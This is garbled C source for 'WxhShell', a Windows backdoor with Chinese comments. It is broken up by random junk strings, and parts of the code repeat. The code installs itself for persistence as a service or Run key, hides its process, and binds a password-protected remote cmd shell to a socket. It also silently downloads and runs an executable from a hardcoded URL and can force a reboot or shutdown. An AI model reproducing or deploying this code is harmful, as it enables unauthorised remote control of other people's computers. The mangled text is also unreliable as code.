foJ R|Y)ow51 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bx2E9/S3 if(NULL == hInst ) return 0; Q']:k}y \3Ys8umKq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |0BmEF g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bNj| GIf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tvZpm@1 az\;D\\ if (!NtQueryInformationProcess) return 0; V\^?V| 19h8p>Sx0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F(:+[$) if(!hProcess) return 0; ewD61Y8- "C%;9_ig$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o^2.&e+dQ %/jmQ6z^ CloseHandle(hProcess); Fod2KS;g Jy{A1i@4~s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >(p "! if(hProcess==NULL) return 0; ~%m-}Sxc 2 ES .)pQ HMODULE hMod; mbU[fHyV char procName[255]; &$|k<{j[<f unsigned long cbNeeded; 5,k&^CK} Ay/ "2pDZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %#Fd0L Y<I/y CloseHandle(hProcess); -(@dMY "EDn;l-Q if(strstr(procName,"services")) return 1; // 以服务启动 p~En~?< 3T%WfS+ return 0; // 注册表启动 aa8WRf } /&Khk # 8tY], // 主模块 rer=o S int StartWxhshell(LPSTR lpCmdLine) 77.5
_ { 79z(n[^ SOCKET wsl; RV.*_FG BOOL val=TRUE; 52,p CyU int port=0; Lr V)}1&5 struct sockaddr_in door; /!ux P~2U !zVuO*+ if(wscfg.ws_autoins) Install(); Ay22-/C|@ 7JQ5OC3 port=atoi(lpCmdLine); UXnd~DA z{7&= $ if(port<=0) port=wscfg.ws_port; *4dA(N\k" ~W_m<#K( WSADATA data; #92:h6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1ki##v[ W8 8J7xs6@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ; P&Ka setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z
~T[%RjO door.sin_family = AF_INET; %DbL|;z1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); y!h$Z6. door.sin_port = htons(port); g< M\zD Zm4IN3FGLv if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ul)2A closesocket(wsl); 8yF15[' return 1; <U (gjX } .yd{7Te 80x
%wCY` if(listen(wsl,2) == INVALID_SOCKET) { 3 8m5&5)1F closesocket(wsl); Y, )'0O return 1; }[SWt3qV1 } b,cA mZ Wxhshell(wsl); 'RC(ss1G WSACleanup(); =;9Wh!{ ?sfA/9" return 0; Nc,"wA 2kp.Ljt@ } MLG%+@\ "[q/2vC // 以NT服务方式启动 FAz shR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k9vr6We' { DyD#4J)E DWORD status = 0; E;fYL]j/oZ DWORD specificError = 0xfffffff; Hl8-1M$& v[q2OWcL serviceStatus.dwServiceType = SERVICE_WIN32; ;oH17 serviceStatus.dwCurrentState = SERVICE_START_PENDING; }3!83~Qbx serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s*>s;S?{| serviceStatus.dwWin32ExitCode = 0; *!ZU"q}i serviceStatus.dwServiceSpecificExitCode = 0; k3da*vwE serviceStatus.dwCheckPoint = 0; $pyM<:*L&< serviceStatus.dwWaitHint = 0; <!v^Df y+)][Wa0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5hUYxF20h8 if (hServiceStatusHandle==0) return; 8$io^n\i ?Lbwo<E status = GetLastError(); bN`oQ.Z 4 if (status!=NO_ERROR) hWfJh0I { rW0# 6 serviceStatus.dwCurrentState = SERVICE_STOPPED; . p^='Kz? serviceStatus.dwCheckPoint = 0; MRwls@z= serviceStatus.dwWaitHint = 0; <x,u!}5J serviceStatus.dwWin32ExitCode = status; F42r]k serviceStatus.dwServiceSpecificExitCode = specificError; @F]6[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cg
|_) _w return; cpF\^[D } '>^+_|2
?}e8g serviceStatus.dwCurrentState = SERVICE_RUNNING; Og4 X3QG serviceStatus.dwCheckPoint = 0; DN2K4%cM%' serviceStatus.dwWaitHint = 0; KJo[!|. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e#(0af8A } _r0oOp E QrDzfe[ // 处理NT服务事件,比如:启动、停止 s^TF+d?B VOID WINAPI NTServiceHandler(DWORD fdwControl) #oSQWC=T { .h~M&d! switch(fdwControl) : ~"^st_[! { 2f9~:.NgF case SERVICE_CONTROL_STOP: }L^Yoq] serviceStatus.dwWin32ExitCode = 0; IsxPm9P2< serviceStatus.dwCurrentState = SERVICE_STOPPED; d8`^;T
;}d serviceStatus.dwCheckPoint = 0; LyH8T'C~ serviceStatus.dwWaitHint = 0; p%EU,:I6 { B q+RFo SetServiceStatus(hServiceStatusHandle, &serviceStatus); `<i|K*u } 6Xb\a^q return; z'=*pIY5f case SERVICE_CONTROL_PAUSE: iT1"Le/N serviceStatus.dwCurrentState = SERVICE_PAUSED; 'g$~ij ;x break; Q:&,8h[ case SERVICE_CONTROL_CONTINUE: ~Z!xS serviceStatus.dwCurrentState = SERVICE_RUNNING; <6Q]FH!6 break; XAR~d6iZ case SERVICE_CONTROL_INTERROGATE: \:mx Ri break; Po'yr] pr }; {";5n7<<) SetServiceStatus(hServiceStatusHandle, &serviceStatus);
LKieOgX } %H75u6 }00mJ]H( // 标准应用程序主函数 7Te`#" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C(Ujx=G+3 { "(PJh\S>S 3Q*K+(`{ // 获取操作系统版本 [wG?&l$.KB OsIsNt=GetOsVer(); tQ_;UQlX GetModuleFileName(NULL,ExeFile,MAX_PATH); IzF7W?k H_sLviYLu // 从命令行安装 {>tgNW>) if(strpbrk(lpCmdLine,"iI")) Install(); h@=H7oV7k VJJGTkm // 下载执行文件
*>ju1f if(wscfg.ws_downexe) { xRpL\4cs if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'uBXSP# WinExec(wscfg.ws_filenam,SW_HIDE); 767xCP } z)xGZ*{= H$au02dpU if(!OsIsNt) { ks<gSCB // 如果时win9x,隐藏进程并且设置为注册表启动 b)J(0,9`G" HideProc(); kD
dY
i7g> StartWxhshell(lpCmdLine); 1,=U^W.G } 7D\#1h else Rcs7 'q5 if(StartFromService()) m663%b(5> // 以服务方式启动 y?GRxoCD"e StartServiceCtrlDispatcher(DispatchTable); {LYA?w^GT else pj;cL]L // 普通方式启动 p)vyZY[ StartWxhshell(lpCmdLine); EQ1wyKZS2g GQhzQM1HS return 0; :A
$%5;-kO } =;!C7VS V9z/yNo wr,X@y%(! i`Fg kABw =========================================== 4N&
VT" |(N4ZmTm *X8<hYKZq vT"T*FKh: J@C8;] |V bF&*v` " #X'!wr|- P0uUVU=B| #include <stdio.h> Sq8 `)$\ #include <string.h> 8`XpcK-0 #include <windows.h> zRN_`U #include <winsock2.h> 0^nnR7 #include <winsvc.h> b<};"H0a #include <urlmon.h> w]X~I/6g /*!K4)$-*2 #pragma comment (lib, "Ws2_32.lib") )%Z<9k #pragma comment (lib, "urlmon.lib") -'3~Y
2# ;V`e%9. #define MAX_USER 100 // 最大客户端连接数 Q+'mBi} #define BUF_SOCK 200 // sock buffer +!Q <gWb #define KEY_BUFF 255 // 输入 buffer ))V)]+ [R*UPa #define REBOOT 0 // 重启 GqBZWmAB #define SHUTDOWN 1 // 关机 j:B?0~= #]<j.Fc` #define DEF_PORT 5000 // 监听端口 /{
Lo0 uoR_/vol8 #define REG_LEN 16 // 注册表键长度 ?.~E:8 #define SVC_LEN 80 // NT服务名长度
hz{=@jX .P+om<~B // 从dll定义API PCDsj_e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <3zA| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +F$c_
\> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zY_BnJ^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E7@0,9AU lgFA}p@ // wxhshell配置信息 q|BR-0yi struct WSCFG { f#}P>,TP int ws_port; // 监听端口 K n%[& char ws_passstr[REG_LEN]; // 口令 @N,dA# int ws_autoins; // 安装标记, 1=yes 0=no ]+\;pb}bq char ws_regname[REG_LEN]; // 注册表键名 ~6L\9B) char ws_svcname[REG_LEN]; // 服务名 z}&w7O#
char ws_svcdisp[SVC_LEN]; // 服务显示名 :5IbOpVM char ws_svcdesc[SVC_LEN]; // 服务描述信息 f(!:_!m* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5D9I;L{ int ws_downexe; // 下载执行标记, 1=yes 0=no '1{co/Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *m6~x-x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oG~a`9N%C !PJD+SrG }; v
MTWtc!6 \9TCP;{ // default Wxhshell configuration /\P3UrQ&] struct WSCFG wscfg={DEF_PORT, C1_':-4 "xuhuanlingzhe", 1uBnU2E 1, 'z7,)Q&8 "Wxhshell", U86bn(9K "Wxhshell", sc
dU "WxhShell Service", It>8XKS "Wrsky Windows CmdShell Service", F33&A<(, "Please Input Your Password: ", _tDSG] 1, 0V6gNEAUg "http://www.wrsky.com/wxhshell.exe", 3p`*'j 2R "Wxhshell.exe" 7qj<|US }; .vHSKd{ %~Vgz(/ // 消息定义模块 veX#K# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [)UL}vAO\q char *msg_ws_prompt="\n\r? for help\n\r#>"; CUIT)mF: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6S7 =+> char *msg_ws_ext="\n\rExit."; T pXbJ]o9 char *msg_ws_end="\n\rQuit."; j"o8]UT/ char *msg_ws_boot="\n\rReboot..."; s8;/'?K char *msg_ws_poff="\n\rShutdown..."; j6<o,0P char *msg_ws_down="\n\rSave to "; [yj-4v%u` gI<e=|J6w char *msg_ws_err="\n\rErr!"; -DD2
char *msg_ws_ok="\n\rOK!"; /NRdBN kU^*hd] char ExeFile[MAX_PATH]; K. [2uhB) int nUser = 0; Xm,w.|dx HANDLE handles[MAX_USER]; _Bh-*e2k int OsIsNt; Za,rht )fSO|4 SERVICE_STATUS serviceStatus; S%J $.ge SERVICE_STATUS_HANDLE hServiceStatusHandle; Dn/{ s$\ j)?[S // 函数声明 '4 T}$a"i int Install(void); &Luq}^u int Uninstall(void); \yDr int DownloadFile(char *sURL, SOCKET wsh); :f<:>"< int Boot(int flag);
}>~';l void HideProc(void); $OEhdz&Fi int GetOsVer(void); Q'-g+aN int Wxhshell(SOCKET wsl); :: IAXGH) void TalkWithClient(void *cs); oAaUXkQE int CmdShell(SOCKET sock); e(nT2E int StartFromService(void); #+$pE@u7A int StartWxhshell(LPSTR lpCmdLine); n?uVq6c *$+k-BV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \/=w\Tj VOID WINAPI NTServiceHandler( DWORD fdwControl ); /S9s%scAy e$!01Y$HI // 数据结构和表定义 *^ag wQ` SERVICE_TABLE_ENTRY DispatchTable[] = YI[y/~! { S
?v^/F {wscfg.ws_svcname, NTServiceMain}, |VC|@ Q {NULL, NULL} fePt[U)2 }; U Px7u%Do .A 12Co // 自我安装 }EFMJ,NQ int Install(void) ^|Bpo( { #a7 Wx} char svExeFile[MAX_PATH]; PEA<H0 HKEY key; 2|a@,TW}- strcpy(svExeFile,ExeFile); tR`'( *wh x@^Kd*fo // 如果是win9x系统,修改注册表设为自启动 }t.J;(ff: if(!OsIsNt) { 2Cy">Exl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Uf[x[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZWJ%t'kF RegCloseKey(key); 4-ijuqjN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~:h-m\=8Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W>jgsR79M RegCloseKey(key); yx v]G6 return 0; uh,~CvXU] } >wsS75n1 } FUy!j|W6f } 2AN6(k4o else { St9+/Md=jQ Y ;qA@| // 如果是NT以上系统,安装为系统服务 4DGc[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $~ 6Y\O if (schSCManager!=0) ~r(/)w\ { &+"-'7 SC_HANDLE schService = CreateService Y<1]{4Wt ( ';T=kS<^_ schSCManager, ~n)gP9Hv wscfg.ws_svcname, WsHC%+\' wscfg.ws_svcdisp, JjO="Cmk/ SERVICE_ALL_ACCESS, X MkyX&y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sf""]c$ SERVICE_AUTO_START, m5Q?g8 SERVICE_ERROR_NORMAL, \TchRSe svExeFile, v-^7oai NULL, ^5BLuN6 NULL, %M?A>7b NULL, 8|9JJ<G7 NULL, c{X>i>l> NULL &RSUB;ymL ); JI&ik_k3 if (schService!=0) Ky6.6Y<.| { Ndb_| CloseServiceHandle(schService); 3WH"NC-O< CloseServiceHandle(schSCManager); /Q |guJx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4q<LNvJA strcat(svExeFile,wscfg.ws_svcname); .)eJL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .nGYx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SLCV|@G RegCloseKey(key); P.8CFlX return 0; 'a&( r; } =aL=SC+ } .W[[Z;D CloseServiceHandle(schSCManager); IdY\_@$ v } hSBR9g } 49/j9#hr /3]b!lFZZ return 1; jGp|:!'w } .JkcCEe{G D7'P^*4_B // 自我卸载 *ud"?{)Z int Uninstall(void) lQt&K1m { jg,oGtRz HKEY key; dV~yIxD}C* T[$! ^WT if(!OsIsNt) { CO+[iJ,4C+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P5&mpl1 RegDeleteValue(key,wscfg.ws_regname); ss8de9T"' RegCloseKey(key); /CXrxeo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VW,"
dmC RegDeleteValue(key,wscfg.ws_regname); 7mUpn:U RegCloseKey(key); ZD)pdNX return 0; /Dh[lgF0C } n_8wYiBs( } $
N7J:Q } rSGt`#E-s. else { GQU9UXe /.?m9O^
F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DA0{s if (schSCManager!=0) $}9.4`F> { K5oVB,z) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m{~p(sQL if (schService!=0) &s]wf { R^nkcLFb/q if(DeleteService(schService)!=0) { zVSbEcr,C~ CloseServiceHandle(schService); :yLSLN CloseServiceHandle(schSCManager); X?RnP3t~ return 0; nWrknm } \|OW`7Q)k CloseServiceHandle(schService); y)5U*\b } f,e7;u z% CloseServiceHandle(schSCManager); G:n,u$2a< } /^BaQeH?R } 9PpPAF LTSoo.dE return 1; 'Z<V(;W } btQDG :RYh@. // 从指定url下载文件 z /
YF7wrx int DownloadFile(char *sURL, SOCKET wsh) m/2LwN { EPY64{ HRESULT hr; dWg09 sx char seps[]= "/"; #D{jNSB char *token; 319 &: char *file; L} >XH* char myURL[MAX_PATH]; im}= char myFILE[MAX_PATH]; 6b-j )$h<9e strcpy(myURL,sURL); A;pVi;7 token=strtok(myURL,seps); w]BZgF. while(token!=NULL) ,+iREh; { L `fDc file=token; pi'w40!: token=strtok(NULL,seps); >o#5tNm } T'n~QfU ` 0YI?$G1 GetCurrentDirectory(MAX_PATH,myFILE); ";I|\ T strcat(myFILE, "\\"); GMY"*J<E strcat(myFILE, file); ~"oxytJ send(wsh,myFILE,strlen(myFILE),0); ~y#jq,i/ send(wsh,"...",3,0); /& qN yo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {5ujKQOcR if(hr==S_OK) |"7^9( return 0; >
xc7Hr~ else ]yTMWIx# return 1;
>&1MD} [&Kn&bdKW } H*l2,0&W 9M$=X- // 系统电源模块 "y %S.ipWG int Boot(int flag) 5#v { /uTU*Oe HANDLE hToken; B&tU~ TOKEN_PRIVILEGES tkp; fgb%SIi? dkz79G}e if(OsIsNt) { GzJ("RE0)v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {V> >a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rv(Qz|K@ tkp.PrivilegeCount = 1; /Dn,;@ZwAi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YQB. 3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HzW`j"\ if(flag==REBOOT) { f}4bnu3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KUr}?sdz return 0; 8=]R6[,fD } :r<uH6x| else { zi^T?<t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M_o<6C return 0; )PM&x } qRD]Q } sknta0^=2 else { L*A9a if(flag==REBOOT) { EF7Y 4lp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \]uo^@$bm return 0; $)L=MEdx } ]F,mj-?4x else { !'4HUB>+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~*Fbs! ;, return 0; CS:"F) at } |@J:A! } RHV&m()Q B( ]=I@L=W return 1; RCFocOOn } xMk0Xf'_ <X7x // win9x进程隐藏模块 KL2 #Bm_ void HideProc(void) 6K/j,e>L { _uvRC+~R [LwmzmV+F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1-@[th if ( hKernel != NULL ) NJEubC? { ] ~;x$Z) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `@8QQB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +="?[: FreeLibrary(hKernel); Iz'*^{Ssm } !N6/l5kn 3SRz14/W_R return; &ukYTDM } ZDVz+L|p 83"Vh$& // 获取操作系统版本 .%{3#\ int GetOsVer(void) e8HGST` { *\?tW]8< OSVERSIONINFO winfo; eOZ0L1JM! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gNon*\a,-B GetVersionEx(&winfo); _Y7uM6HL\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;~&F}!pQ return 1; aS^
4dEJ else "3kIQsD|j return 0; U5uO|\+) } Mlr\#BO"9 B~/:["zTh& // 客户端句柄模块 @M[t| int Wxhshell(SOCKET wsl) (Rqn)<<2 { 7*bUy)UZ SOCKET wsh; icq!^5BzL struct sockaddr_in client; nLn3kMl4 DWORD myID; b'
1%g}
oy I8}s: while(nUser<MAX_USER) Tw:j}ERq { 2}Ga int nSize=sizeof(client); z1LN|+\} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `lAe2l^ if(wsh==INVALID_SOCKET) return 1; |sf&t c/fU0cA@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9,7IsT8 if(handles[nUser]==0) ;^waUJ\Z
closesocket(wsh); 3)jFv7LAU else Te%2(w,B nUser++; :'*;>P
.( } sdk%~RN0T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -;/;d z; sW'SR return 0; L : hEt } ?:D#\4=US i:9f# // 关闭 socket fi5x0El
void CloseIt(SOCKET wsh) Z=VAjJ;i[ { Igowz7 closesocket(wsh); Z`L-UQJ. nUser--; huj 6Ysr ExitThread(0); "~
1:7{k } #r\,oXTm q~*9A-MH // 客户端请求句柄 T%{qwZc+mJ void TalkWithClient(void *cs) #bxU I{*J { *VJT]^_ jH+ddBVA SOCKET wsh=(SOCKET)cs; Up:<NHJT char pwd[SVC_LEN]; 2Zf}t char cmd[KEY_BUFF]; G}!dm0s$ char chr[1]; ~Z74e>V% int i,j; _J'V5]=4 :~K c"Pg while (nUser < MAX_USER) { p.(8e kh H/qv%!/o if(wscfg.ws_passstr) { Ne{2fV>8Ay if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C%hMh/Li; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :A+nmz!z //ZeroMemory(pwd,KEY_BUFF); ^FaBaDcnl i=0; 6Fp}U while(i<SVC_LEN) { A~MAaw!YE |y,%dFNLf // 设置超时 >=G-^z: fd_set FdRead; T(Q(7 struct timeval TimeOut; X
rBe41 FD_ZERO(&FdRead); gP&G63^ FD_SET(wsh,&FdRead); @FC|1=+ TimeOut.tv_sec=8; T8nOb9Nrj TimeOut.tv_usec=0; ZbmBwW_ 7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Ee#jCXS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uBdS}U _gAU`aO^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "
3ryp
A pwd=chr[0]; uVnbOqR<X if(chr[0]==0xd || chr[0]==0xa) { y5" b(nb pwd=0; 1y\-Iz^ break; *>m,7} L } TR@*tfS i++; [^oTC; } r&$r=f< 7x6q:4Ep\ // 如果是非法用户,关闭 socket $~$NQe!/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]/G~ L } 8GGC)2 0A]+9@W; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =6PTT$, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _J|cJ %F>% N*Is_V\R while(1) { hFLD2< ~"eQPTd ZeroMemory(cmd,KEY_BUFF); XsOz
{?G d7g3VF<j // 自动支持客户端 telnet标准 %E1_)^^ j=0; \FE
while(j<KEY_BUFF) { $ mH'%YDIl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E5>y?N cmd[j]=chr[0]; ],!7S"{97 if(chr[0]==0xa || chr[0]==0xd) { 6p=OM=R cmd[j]=0; ^p@R!228 break;
vvWje:H } uyE_7)2d j++; Kx8> } aPR0DZ@ \=3fO( // 下载文件 _'CYS3-P3 if(strstr(cmd,"http://")) { J5i$D0K[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); C r A7lu' if(DownloadFile(cmd,wsh)) BQ[,(T`+R send(wsh,msg_ws_err,strlen(msg_ws_err),0); (z8^^j[ else fga{b7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p\>im+0oh } ,PmQ}1kGW else { EZN38T \J)ffEKIp switch(cmd[0]) { EWU(Al T cx+li4v // 帮助 y2_^lW% case '?': { :)~idVlV send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,_G((oS40 break; QTy xx } /o/0 9K // 安装 <'Ppu case 'i': { :J
7p=sX if(Install()) ?PpGBm2f* send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kuj*U'ed7t else $qvk9 B0E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q? 9x0L break; 834E
]2 } 49e~/YY // 卸载 _0razNk case 'r': { o%~PWA*Qp if(Uninstall()) Nt>wzPd) send(wsh,msg_ws_err,strlen(msg_ws_err),0); sKIpL(_I$ else 7KB:wsz^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -5&|"YYjr{ break; 1@i 8ASL } U\<8}+x // 显示 wxhshell 所在路径 &EZq%Sd case 'p': { W7sx/O9 char svExeFile[MAX_PATH]; *E"OQsIl strcpy(svExeFile,"\n\r"); 4ONou&T strcat(svExeFile,ExeFile); $@VQ{S send(wsh,svExeFile,strlen(svExeFile),0); ;|.~'': break; )`4g, W } ZRD@8'1p // 重启 _QS +{
case 'b': { @P$_2IU" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yjq~O~ if(Boot(REBOOT)) .lcI"%> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox}LC,! else { kS\A_"bc closesocket(wsh); u lqh}Uv' ExitThread(0); SK>*tKY
} Y[\ZN break; qi ;X_\v } vvsQf% // 关机 a4B#?p case 'd': { PX5K-|R send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dej2-Y if(Boot(SHUTDOWN)) & rsNB:! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/tvS8I#y else { zG[GyyAQ closesocket(wsh); vv9=g*"j ExitThread(0); qYwEPGa\ } O<:"Irq\qr break; [|:kS } ]O\m(of
R // 获取shell DbL=2 case 's': { XSw!_d CmdShell(wsh); CP%?,\ closesocket(wsh); bPe|/wp ExitThread(0); jRhOo%p break; cyQ&w>' } e1
yvvi // 退出
(FwWyt case 'x': { 2a\?Q|1C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;q3"XLV(T[ CloseIt(wsh); P:p@Iep break; &4m\``//9 } N'!: // 离开 O.9r'n4f case 'q': { e*zt;SR send(wsh,msg_ws_end,strlen(msg_ws_end),0); O< \i{4}} closesocket(wsh); K<_bG<tm_ WSACleanup(); "IvFkS=*Q exit(1); p>O>^R break; )J['0DUrZK } rEM#J"wF } $;1TP| } FA+'E Pd~{XM,yfW // 提示信息 Zeeixg-1< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); npJyVh47 } 3Dm`8Xt
} 7M#irCX p ow.@ return; 5*n3*rbU: } o\M K).Gj2 $ // shell模块句柄 LzS)WjEN int CmdShell(SOCKET sock) AwC"c ' { LXGlG STARTUPINFO si; _>k&,p]y ZeroMemory(&si,sizeof(si)); Lwzk<+>w^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +im>| si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZbZCW:8>k PROCESS_INFORMATION ProcessInfo; zS6oz= char cmdline[]="cmd"; HZ+l){u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -/7[\S return 0; XITh_S4fs= } SGp}(j>
3g# // 自身启动模式 BbV @ziL int StartFromService(void) d7*fP S { Rl%?c5U/$ typedef struct y\M K d[G7 { "P@jr{zvMd DWORD ExitStatus; nKO4o8js{{ DWORD PebBaseAddress; D=0^"7K DWORD AffinityMask; m"r=p DWORD BasePriority; "6<L)
8 ULONG UniqueProcessId; :O~*}7G ULONG InheritedFromUniqueProcessId; Jw
b'5[R } PROCESS_BASIC_INFORMATION; >[D(<b(U& V/8"@C PROCNTQSIP NtQueryInformationProcess; DUAI _!} L\E~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !97k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TrEo5H ; uE]kv HANDLE hProcess; t@Bl3Nt{ PROCESS_BASIC_INFORMATION pbi; ZliJc7lss a9"1a' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KcK,%!>B if(NULL == hInst ) return 0; $r'PYGn SFiK_; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8(b
C. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KH~o0 W NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Y%@fZf x 2#1G)XI if (!NtQueryInformationProcess) return 0; ^_Ap?zn }+F&=-P) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [ 1$p}x if(!hProcess) return 0; GgNqc i, &6#>a"?" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FS1>
